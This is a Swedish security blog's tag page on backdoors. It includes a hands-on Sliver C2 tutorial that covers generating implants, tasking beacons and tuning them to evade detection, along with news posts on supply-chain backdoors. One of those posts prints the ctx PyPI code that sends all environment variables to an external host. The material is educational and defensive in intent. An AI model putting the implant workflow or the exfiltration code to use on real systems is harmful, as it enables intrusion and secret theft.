Taggat med: bakdörr

Test av attack-ramverket Sliver

Sliver logo

Sliver är ett bakdörrs/attack-ramverk eller mer specifikt ett command and Control-ramverk (C&C) som är riktat mot red-teaming och penetrationstester. Liknande funktioner återfinnes i bl.a. Metasploit och kommersiella Cobalt Strike. Microsoft har nyligen identifierat en ökad användning av Sliver hos statliga aktörer och även ransomware-grupperingar.

Sliver kan förutom vid red-teaming användas för att simulera avancerade cyberattacker och kontrollera huruvida EDR (Endpoint Detection & Response) och IT-forensiska förmågor fungerar. Sliver har även stöd för att fungera tillsammans med Prelude Operator och då kan man simulera över 150 st open-source tactics, techniques, and procedures (TTP).

Namnet Sliver kommer från kortspelet Magic: The Gathering som var populärt på 90-talet. Några funktioner som är värda att nämna är också de protokoll som kan användas för nätverkskommunikation/callback:

  • Mutual TLS (mtls)
  • HTTP/s
  • DNS
  • Wireguard

Sliver är ett aktivt projekt som underhålls av företaget Bishop Fox. Det uppdateras löpande via Github och är utvecklat i programspråket Go.

Installation av Sliver

Att installera är enkelt med följande one-liner, men du kontrollerar även givetvis koden innan du kör den?

curl https://sliver.sh/install|sudo bash

Du kan även bygga en egen Docker-container då det följer med en Dockerfile. För att testa så att sliver fungerar efter installationen så behöver du bara skriva sliver så hamnar du rätt in i CLI:t.

Installationsvideo:

Installation av Sliver

Och skärmdump för att hamna i kommandoskalet:

Sliver C&C

Kör vi lsof och tittar på öppna portar så ser det ut enligt följande:

sliver-se 113254 root 11u IPv6 142430 0t0 TCP *:31337 (LISTEN)

Så bra opsec kan då var att byta ut denna 31337-port mot något annat. Detta genomförs genom att redigera följande två filer:

/root/.sliver/configs/server.json
~/.sliver-client/configs/vagrant_localhost.cfg

Den nedre av ovan två filer kan dock heta något annat på just din installation. Oklart hur svårt det är att fingerprinta sliver på port 31337. Eller ännu bättre: Undvik helt att exponera denna port mot internet.

I en annan guide kommer jag att titta på hur kontrollkanaler såsom denna kan detekteras.

Skapa ett implantat

Nu när vi har slivers serverdel uppe och kör så är det dags att skapa ett implantat (klient) som kan köras på Windows, Linux eller macOS. Rekommenderar att läsa följande guide för korskompilering mellan olika OS.

Enligt den design som ligger bakom sliver så är det tänkt att sliver ska fungera som en stage 2 payload/implantat. Därav har storleken inte optimerats och implantaten kan bli över 10 mb i storlek. Men det finns också möjlighet att generera mindre stagers via kommandot generate stager, men detta kräver metasploit.

Det finns två olika lägen: beacons och sessioner. Beacons kontaktar servern med ett visst intervall + jitter och kontrollerar om det finns nya uppgifter att utföra. Medans sessioner är interaktiva mot klienten, och vissa kommandon såsom portfwd och shell kräver interaktiva sessioner.

För att skapa upp ett nytt implantat, hoppa in i slivers kommandoskal och skriv sedan exempelvis:

generate --mtls backdoor.kryptera.se --save /home/vagrant/implants

Så skapas ett nytt implantat med mtls-lyssnare som ansluter mot example.com och filen sparas ner i mappen /home/vagrant/implants/. Detta kan ta lite tid då obfuskering och kompilering genomförs:

sliver > generate --mtls backdoor.kryptera.se --save /home/vagrant/implants

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 00:03:00
[*] Implant saved to /home/vagrant/implants/SHY_AIRSHIP.exe

sliver >

Tittar vi lite närmare på filen ser den ut enligt följande:

┌──(vagrant㉿kali)-[~]
└─$ file implants/SHY_AIRSHIP.exe
implants/SHY_AIRSHIP.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows

┌──(vagrant㉿kali)-[~]
└─$ ls -lah implants/SHY_AIRSHIP.exe
-rwx------ 1 vagrant vagrant 13M Sep  2 09:04 implants/SHY_AIRSHIP.exe

Standard så genereras sessions-implantat. Och vill man istället ha beacons så måste man skriva generate beacon enligt följande:

sliver > generate beacon --mtls backdoor.kryptera.se --save /home/vagrant/implants

[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:02:33
[*] Implant saved to /home/vagrant/implants/MODEST_FLOOD.exe

sliver >

Vi kan även nu skriva kommandot implants för att få upp en lista över genererade implants:

Den som är observant kan även se att port 8888 används för mtls. Denna kan också ändras för att göra det svårare att fingerprinta/upptäcka implantatet och servern.

För att starta upp lyssnaren för mtls måste vi även skriva kommandot mtls:

mtls sliver

Exekvering av implantatet

Nu när vi genererat två olika implantat för Windows/amd64 så är det dags att testa dem i en virtuell-testmiljö med Windows. Jag kommer inte gå igenom stage 1 dvs hur du erhåller kodexekvering utan fokusera på stage 2 när väl kod kan köras.

Efter vi att exekverat implantatet på en Windows-klient så får vi en callback enligt följande som dyker upp:

[*] Beacon 3430432f DOUBLE_MANAGEMENT - 41.33.120.5:64418 (DESKTOP-SZ3UOJ) - windows/amd64 - Sat, 03 Sep 2022 12:38:15 UTC

Och sedan kan vi skriva beacons för att få upp en lista med aktiva implantat med beacons:

Sliver beacons

Och som standard så är beacon-intervallet 60 sekunder. Detta går att konfigurera för att försvåra detektion via NIDS (Network-based Intrusion Detection System). Tips är även att skriva beacons watch för att realtid se mer information när beacons ringer hem.

Demo:

Nästa steg blir att skicka tasks eller kommandon som ska utföras av vårt installerade implantat. Och det första steget är att skriva use och sedan välja beacon. Eller skriva use och sedan trycka tabb-tangenten för autocomplete.

Sen rekommenderar jag att skriva help och då får vi upp en mängd olika kommandon vi kan köra såsom screenshot, getuid, ping, netstat, ifconfig, info osv.

Vill vi göra en screenshot så skriver vi bara screenshot och väntar tills det att beaconen ringer hem igen, vilket i vårat fall är max 60 sekunder. Och sedan dyker följande meddelande upp:

[*] Screenshot written to /tmp/screenshot_DESKTOP-SZ1UO3J_20220903130947_272482597.png (77.0 KiB)

Smidigt va? Och vill vi ändra jitter och callback-tiden för att försvåra upptäckt kan man göra en omkonfigurering av implantatet på följande sätt:

sliver reconfig

Nu börjar vi närma oss slutet av detta test. Några saker kvar att nämna är följande:

  • Skriv background för att lägga beaconen i bakgrunden och återvända till ”rooten” i sliver
  • Ingen omfattande obfuskering eller kryptering är i dagsläget aktiv (enbart gobfuscate). När jag testar mot VirusTotal så upptäcker 25 av 70 antivirus-leverantörer EXE-implantatet som genereras av sliver
  • Det finns ingen inbyggt persistens för implantatet, se följande issue.

Nästa guide så tänkte jag skriva mer om detektion av implantat/CnC-ramverk och bakdörrar såsom sliver.

Sliver hittar du på Github här:

Senaste versionen när detta blogginlägg skrivs är 1.5.25 och släpptes fredag den 5:e september 2022.

PyPi-paketet CTX och phpass hackade

PyPi-paketet CTX och phpass hackade

Uppdatering: Här kan du läsa om hur sockpuppets genomförde attackerna i ”gott syfte”.

Två populära tredjepartsbibliotek har blivit hackade och en bakdörr har placerats i dessa paket. Det rör sig om python (pypi) paketet ctx samt php-biblioteket phpass. Totalt rör det sig om cirka tre miljoner användare av dessa två bibliotek.

För php-bakdörren kan man titta på följande kodsnutt. Och anledningen till att bakdörren kommer in i system är för att github-kontot hautelook raderades och någon annan skapade ett nytt konto.

Nedan följer ctx python-koden som exfiltrerar miljövariablarna där koden exekveras:

 def __init__(self):
        self.sendRequest()
    .
    .  # code that performs dict access
    .  # please DO NOT RUN THIS CODE !

     def sendRequest(self):
        string = ""
        for _, value in environ.items():
            string += value+" "

        message_bytes = string.encode('ascii')
        base64_bytes = base64.b64encode(message_bytes)
        base64_message = base64_bytes.decode('ascii')

        response = requests.get("https://anti-theft-web.herokuapp.com/hacked/"+base64_message)

För pypi-biblioteket är det troligtvis en password-spraying attack som lyckats mot det konto som har hand om ctx.

Att förhindra och försvåra attacker som använder sig av tredjepartsbibliotek är inte helt trivialt. Främst gäller det att isolera dessa paket, system och mjukvara så den inte kan ringa hem eller exfiltrera information. Dvs se till att ha en branväggspolicy som ej medger utgående trafik enkelt. Detta gäller även DNS som kan användas som kanal för att skicka ut information. Och glöm inte heller utvecklar-datorer, det gäller inte enbart servrar.

Github bör införa en längre grace-period på konton om det inte redan finns och pypi bör forcera multi-faktorsautentisering.

Bakdörr planterad i PHP-projektet

Någon eller några antagonister har lyckats att pusha ett förslag på ändring i källkoden till det populära PHP-projektet som används av ungefär 79% av alla världens webbplatser. Detta förslag på förändring innebär att om en user-agent http-header börjar med zerodium så körs eval på koden, dvs du kan köra vilken php-kod du vill.

Ändringarna genomfördes i namnen Rasmus Lerdorf och Nikita Popov som är två välkända PHP-utvecklare, dessa reagerade direkt och skickade ut ett mail till php-internals maillinglistan med bl.a. följande:

We’re reviewing the repositories for any corruption beyond the two referenced commits.

Transparensen som Github erbjuder är bra och gör att många fler på ett enklare sätt kan se ändringar i koden och därmed upptäcka eventuella bakdörrar. PHP-projektet meddelar även att de inte har tid eller möjlighet att underhålla git.php.net i framtiden och kommer nu enbart att köra med Github i framtiden. Om ändringarna i källkoden tagit sig ut i några skarpa system är oklart i dagsläget.

Ändringarna på github enligt följande:

Länk till ändringar med bakdörr:

Gällande referensen till Zerodium så har nu deras VD uttalat sig på Twitter:

https://twitter.com/cBekrar/status/1376469666084757506

WEASEL – Ny bakdörr från Facebook

Facebook har släppt ett intressant nytt implantat (bakdörr) vid namn WEASEL. Mjukvaran är skriven i Python3 och utnyttjar DNS samt AAAA-records för att skicka och ta emot beacons. Den behöver inte heller några externa beroenden och kan således köras under de flesta operativsystem.

Ett implantat är en typ av mjukvara som används av angripare för att utföra olika uppgifter och kommunicera in och ut ur nätverk. WEASELs klientdel har inga direkta inbyggda funktioner förutom att sköta kommunikationskanalen, självradering och intervall för kommunikation. Vill du ha mer funktioner så får du själv bygga till det eftersom WEASEL stödjer exekvering (eval) av Python3-kod.

Fokus vid utvecklingen av WEASEL har varit på att försöka försvåra IT-forensiska undersökningar och därför finns ej stöd för persistens. Mjukvaran stödjer inte heller att flertalet operatörer jobbar mot samma instans.

För kryptering av data över DNS så används AES-128 i CTR mode samt Diffie-Hellman för nycklar. Oklart hur stödet för Windows ser ut men går säkert att åstadkomma med Pyinstaller.

Här hittar du WEASEL på Github:

Jag har tyvärr ej testat WEASEL ännu men har det på min todo-lista. Om du gör det eller redan testat så lämna gärna en kommentar om dina erfarenheter.

Bild på vessla av Keven Law – originally posted to Flickr as On the lookout…, CC BY-SA 2.0

Bakdörrar identifierade i flertalet RubyGems

Att cyberattacker mot Supply Chains såsom rubygems blir vanligare och vanligare är vi många som har förutspått i flera år. Och igår så identifierades en bakdörr i ruby rest-client.

Bakdörren las in via ett hackat konto (mwmanning) och hämtade hem kod från pastebin som sedan exekverades. Liknande attacker har tidigare inträffat mot bl.a. JavaScript-biblioteket (npm) event-stream.

Just denna bakdörr som fanns i Ruby-gems gjorde ett antal olika saker såsom att skicka iväg miljövariabler till hostnamnet mironanoru.zzz.com.ua.

Även identifierades bakdörrar i många andra RubyGems såsom:

  • rest-client: 1.6.10 (downloaded 176 times since August 13, 2019), 1.6.11 (downloaded 2 times since August 14, 2019), 1.6.12 (downloaded 3 times since August 14, 2019), and 1.6.13 (downloaded 1,061 times since August 14, 2019)
  • bitcoin_vanity: 4.3.3 (downloaded 8 times since May 12, 2019 )
  • lita_coin: 0.0.3 (downloaded 210 times since July 17, 2019)
  • coming-soon: 0.2.8 (downloaded 211 times since July 17, 2019)
  • omniauth_amazon: 1.0.1 (downloaded 193 times since July 26, 2019)
  • cron_parser: 0.1.4 (downloaded 2 times since July 8, 2019), 1.0.12 (downloaded 3 times since July 8, 2019), and 1.0.13 (downloaded 248 times since July 8, 2019)
  • coin_base: 4.2.1 (downloaded 206 times since July 9, 2019) and 4.2.2 (downloaded 218 times since July 16, 2019)
  • blockchain_wallet: 0.0.6 (downloaded 201 times since July 10, 2019) and 0.0.7 (downloaded 222 times since July 16, 2019)
  • awesome-bot: 1.18.0 (downloaded 232 times since July 15, 2019)
  • doge-coin: 1.0.2 (downloaded 213 times since July 17, 2019)
  • capistrano-colors: 0.5.5 (downloaded 175 times since August 1, 2019)

Vad man man göra för att förhindra och försvåra för denna typ av attacker? Jo det finns ett antal saker:

Säkra upp utvecklarkonton

Kontot som hackades hade inte tvåfaktorsautentisering påslaget. Gör detta obligatoriskt för denna typ av behörighet. Vilket är något som nu RubyGems funderar på.

Granskning av kod

Precis som processen för att publicera appar i Apple App Store eller Google Google Play så bör kod exekveras i en sandlåda och observeras. Gör den konstiga saker såsom DNS-uppslagningar som inte fanns tidigare?

Givetvis är även manuell kontroll av kod som publiceras bra, men vid många ändringar och mycket kod är det inte alltid möjligt att manuellt granska all kod.

Signering

Se till att det finns ett flöde gällande signering, från exempelvis en hårdvarunyckel såsom YubiKey där en obruten kedja kan verifiera från utvecklaren till den person som installerar paketet.

Isolering

Precis som med all obetrodd källkod som du laddar ner och kör så bör denna isoleras i största möjliga mån. Alla servrar och klienter kanske inte bör ha direkt koppling mot Internet, alla anslutningar och uppslag bör loggas.

Håll nere antalet beroenden

Om du har möjlighet att själv utveckla och underhålla delar av källkoden så är detta att fördra. Men inte alltid möjligt då vi många gånger är beroenden av tredjepartskod såsom bibliotek. Reproducerbara byggen är också ett bra sätt att försvåra för bakdörrar.

Kryptovirus, Cryptovirology eller Kryptomalware

Kryptovirus/kryptomalware eller på engelska cryptovirology är ett uttryck som Adam L. Young, PhD samt Moti M. Yung, PhD skapat för att beskriva skadlig kod (malware) som använder sig av krypto.

Cryptovirology är ett område som studerar hur man använder kryptering för att utforma kraftfull skadlig kod”

Några exempel på skadlig kod som använder sig av kryptovirus är: Gpcode, Cryzip, samt Krotten. Dessa tre olika trojaner håller dina filer på datorn som gissla (krypterar) och begär sedan en summa pengar för att du ska få en nyckel för att dekryptera filerna.

Ett annat populärt namn för denna typ av skadlig kod är även ransomware.

Området Cryptovirology omfattar även kryptoattacker där angriparen i hemlighet stjäl privat information såsom privata nycklar. Ett exempel på den senare typen av attack är en asymmetrisk bakdörr. En asymmetrisk bakdörr är en bakdörr (t.ex. i en kryptosystem) som kan användas endast av angriparen även efter det att den eventuellt upptäckts.